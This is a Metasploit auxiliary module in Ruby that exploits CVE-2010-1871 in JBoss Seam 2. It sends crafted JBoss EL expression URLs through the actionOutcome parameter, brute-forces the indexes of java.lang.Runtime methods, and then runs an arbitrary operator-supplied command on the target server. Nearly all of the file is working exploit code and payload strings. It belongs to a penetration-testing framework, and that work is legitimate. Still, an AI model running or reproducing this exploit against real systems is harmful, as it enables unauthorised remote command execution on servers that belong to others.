metasploit-framework/modules/auxiliary/admin/http/jboss_seam_exec.rb

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##
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# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Seam 2 Remote Command Execution',
'Description' => %q{
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
Language (EL) expressions, which allows remote attackers to execute arbitrary code
via a crafted URL. This modules also has been tested successfully against IBM
WebSphere 6.1 running on iSeries.
NOTE: this is only a vulnerability when the Java Security Manager is not properly
configured.
},
'Author' =>
[
'guerrino di massa', # Metasploit module
'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1871' ],
[ 'OSVDB', '66881']
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],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2010'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
OptString.new('CMD', [ true, "The command to execute."])
])
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end
def run
uri = normalize_uri(target_uri.to_s)
cmd_enc = ""
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
flag_found_one = 255
flag_found_two = 255
uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_3 = "].invoke(null),'"
25.times do |index|
req = uri + uri_part_1 + index.to_s + "]}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
flag_found_one = index
print_status("Found right index at [" + index.to_s + "] - exec")
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
print_status("Found right index at [" + index.to_s + "] - getRuntime")
flag_found_two = index
else
print_status("Index [" + index.to_s + "]")
end
end
if (flag_found_one != 255 && flag_found_two != 255 )
print_status("Target appears VULNERABLE!")
print_status("Sending remote command:" + datastore["CMD"])
req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
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print_good("Exploited successfully")
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else
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print_error("Exploit failed")
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end
else
print_error("Target appears not vulnerable!")
end
end
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end